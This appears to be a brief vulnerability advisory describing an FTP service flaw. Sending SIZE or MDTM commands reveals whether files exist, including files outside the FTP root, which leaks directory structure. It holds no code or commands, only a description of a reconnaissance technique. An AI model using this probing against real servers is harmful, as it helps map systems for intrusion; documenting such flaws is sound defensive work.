A user can confirm the existence and location of files and directory structure information, by submitting a 'size' or 'mdtm' command of a file. If the command is carried out by the vulnerable service, the attacker can confirm the location of the file.

Submitting a 'size' or 'mdtm' command for a file outside of the FTP root could disclose directory structure information of unpublished filesystems on the host. If the requested command is fulfilled by the vulnerable service, the attacker can confirm the relative path to the file.
